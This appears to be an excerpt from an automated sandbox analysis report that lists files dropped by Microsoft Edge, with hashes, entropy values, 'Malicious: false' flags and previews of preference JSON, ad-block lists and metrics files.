SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\180553cf-d479-4511-bd26-679c1d8c5a6e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57729
Entropy (8bit):	6.1036415332053755
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yOtPGWv/sxtwgmj7VLyMV/YoskFoz:z/0+zI7yONv/4KgQVeZoskG
MD5:	EE73576DE2C85B6F5CA1F35D11C93742
SHA1:	BFD17CB4B213F7B9AA5211793F7074AB205D44F8
SHA-256:	7BD7C20598C44F0473BA202A71749D73A0653D5196DD7F7FB317A29BEFD9EF60
SHA-512:	ED2D82DA3D07048B58156113F8B921E9A831AE7380F1A2E84C93FADDFFA00E00131A1485472E53F2124EDC0A9ED0D368CB2168838F782F99C7D20AF7E19C6116
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4e0d25fe-044a-4c7e-8fc2-62700197ca20.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58813
Entropy (8bit):	6.10077671539267
Encrypted:	false
SSDEEP:	1536:fMk1rT8HRakPGWv/sxtwgmTTtFo27VLyMV/Yosa:fMYrT8xhv/4Kg+vVeZosa
MD5:	EA97BA8F72C019C3C6270C7A95C5E765
SHA1:	FC660D8ABB319913956C561782F831C00A41E458
SHA-256:	A78BA8213D5A1C14ABA396312F9B12875D41990D8CF05D4D8249929E06A00A67
SHA-512:	BF3120081BF4FE593E62C2C853FDEA22E9393EA7D4DD0A456A9524C6DF2DD8175785EEB67D9F1D21908B17C0AD2359E100CA7F167F3D46474781422638C0E877
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"4ff4676d-8f65-4288-95e2-7cc86c3edf8e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\74e5ba03-07e8-4d1f-af01-d6a67f75093a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	57651
Entropy (8bit):	6.103417146752261
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynBPGWv/sxtwTj7VLyMV/YoskFoz:z/0+zI7yn5v/4KTVeZoskG
MD5:	5E18A10AF1BB4F2D5206C0F7A0418B1A
SHA1:	0604D7B6FCB0D723FAC24C591A4E0728F441135B
SHA-256:	16B7EDDD9DA79DCDB7D76F94C4F9BA973D3639CA6D1E7A6786CFF53A44BE8F06
SHA-512:	6F3E2539EC6AC00EF15DF60A00E176B8B9AB9D31EF2306801C5737246C86A15ADB77787F731B3C5E90026E1702863C0B2FF882786A7D60C34040150CCADDDD02
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9268f10c-ed92-461c-b3e8-50a55ff6da1f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58937
Entropy (8bit):	6.100769803033515
Encrypted:	false
SSDEEP:	1536:fMk1rT8Hka8PGWv/sxtwgmTTtFo27VLyMV/Yosa:fMYrT8Erv/4Kg+vVeZosa
MD5:	175A248B47DDDE8B94558D107E8CFE82
SHA1:	BB771BCCE50FF74C029DA8D123F881451DE543EA
SHA-256:	C0029104572A5BB5268BD787928D004F90837D4CFC705FC3432C2127DCD3B1FF
SHA-512:	D9FE4C5E37B1F1456306E3FB5FFE85106E571637EDDAC033D6CC62C63D644E2F4F5AB297909C7069A345697C373239CC2845D1F30AED5B0076F2692806763D4F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"4ff4676d-8f65-4288-95e2-7cc86c3edf8e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9acf647f-fab5-472c-9548-b9777a1b0e94.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58937
Entropy (8bit):	6.100775771466549
Encrypted:	false
SSDEEP:	1536:fMk1rT8HkaZMPGWv/sxtwgmTTtFo27VLyMV/Yosa:fMYrT8ERv/4Kg+vVeZosa
MD5:	FF2BD1CCD9852198E6AF20F9CFE3B93D
SHA1:	80C9625A18548433E04DA8294EC15475CBBDAFCF
SHA-256:	361891F490E7537A24A5FDC46FE62EB73B8E75892DB0400DF7FAAB82CF7CAACC
SHA-512:	A68755DE3DA969BE6498E2FBF16FF605961ADA5EFE3E01285D2C3DD8CCC56848298FBEAD69D0E6988DE40E041A597A0440E6E9B883EA99FD4C4DD47D084DF0C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"4ff4676d-8f65-4288-95e2-7cc86c3edf8e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\14546d6d-7dad-458a-8287-6d6a6c4bb425.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6734AC81-82C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0476406763823793
Encrypted:	false
SSDEEP:	192:Pmv0m5tmqnOAUJYPJ/7qiRDs0JVFg8XsrI3hkHsBwwhWhNgv+RQ8TA5Ron8y08TQ:uv0UtZxF6UfhOsmwno08T2RGOD
MD5:	9114AC3C4C8C9533C6D07ED8D4042BFC
SHA1:	C0283F55D97EC2B62EC77ABD56B51DF24EB907AF
SHA-256:	FF2EC12E0BDFFE5CE7FA90DACADE9E4086D3C5675080AFE952E2818EB403B366
SHA-512:	154D90CE7FB94ECFA0F7E696221175805F97C753FB124A2F4877E88D6296EED60B426B9BA25B5DC4D4F8BB0B4EB6A5C70624670C296A516F91EB42100C887DFC
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".sprqrd20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6734AC82-1524.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45113964042380067
Encrypted:	false
SSDEEP:	3072:YeOuL0ktX0WZZk0TARPPkcba2wfkwAYZD+tqlmBNaJv6MRg1HFg5:iuL7dTARnkcbWsnbtqIBNaJv6MRaH65
MD5:	061BCD4ECE71E4CB7FB346B95C8EFE82
SHA1:	FF68F6D20D8DAE1170805498F828EE4B3E3E9B86
SHA-256:	8D21D67EF85AB2E148CCDACE7615A304D775571C9ED7218F52EF7AB3C59F370F
SHA-512:	E8760F264927FE4BA528A81E60C31F5DC7A1BD029ECF55454C8DF5A5A5A6A17B40452C06BC26CC88842D0B64A9CD386FF43E248596FAA246AEBF9CD2D8129C92
Malicious:	false
Preview:	...@..@...@.....C.].....@...............0...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".sprqrd20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......y......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\173348b1-779d-4c55-93ad-034a2b258e95.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\760b0311-239e-4801-9386-8620460b9493.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17206), with no line terminators
Category:	dropped
Size (bytes):	17210
Entropy (8bit):	5.4957103262378775
Encrypted:	false
SSDEEP:	192:stZJ99QTryDiuabatSuyp+sltdyaNPnvkNNhqFfclKe08Wigx+TwKelLE8CbV+FU:stZPGQSu4+sltdtJnUEn8WJTAbGjQwGB
MD5:	D9375CA4B3AF1A6017766DD8827CDA0D
SHA1:	92F541B95ADBD4403B9B49C9E4AA409AF4225317
SHA-256:	6270CEF25DDC53106469923CC8B321E1A8353AAC263154118E2860DA42835B8D
SHA-512:	5A457007034D99408CF6FC85A885FAE5BD6870BE2382ACE1E47F7084F04AE3731473C9D3C358E35B9244884749F7719A8E1B274FFBEE7446526E69B40C9140D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375978883361092","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\85e95f4d-418d-46a6-9404-f72fdfbda1ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561085422767783
Encrypted:	false
SSDEEP:	768:mPk66h47pLGLpIOWPK0f6u8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYg8zhhYrwBaTd:mPk66hkcpIOWPK0f6uu1jahg89hJBaTd
MD5:	7CB75A97FB41BC210319FF43459DE72C
SHA1:	A37D924D80768071850D9C157D48662FBFF53C23
SHA-256:	2A0077D1C896788CC299962A4CD1B8EA0760495AB80EEE9CDC8D52B5B66DADAD
SHA-512:	9CDBF9D68D57D4BF1B6157BAF50403540C350D34A8BB7726E5E3376D969AD76DEF5AF452625C68BDB9737D3747610EF3ECCF945D7ACC9BBB54FC9DD1CA1C68AA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375978882411019","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375978882411019","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8ee92f79-87de-4190-8677-38b6786b00fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564143757319335
Encrypted:	false
SSDEEP:	768:mPk661OWPK0fJu8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYg8zhhYrwBaOEJqKp1tux:mPk661OWPK0fJuu1jahg89hJBaO1Mt+
MD5:	824335C0DAD229E21BBDF36D8F332027
SHA1:	A35B91C68CD9268F002650BBBE31EBF8545BFFDA
SHA-256:	AF268FDA7D56D9FD92AC51D2581356D525CB8750BD9E51D1763630AA258DFD56
SHA-512:	41A8D86A95BC86F7E100553017F9AC70D3C6E032471F13B76F525E8B2151928F7AFE518A4B93EE3288900F473D43747EAFC2018FFF9548CF879679A5E2546339
Malicious:	false
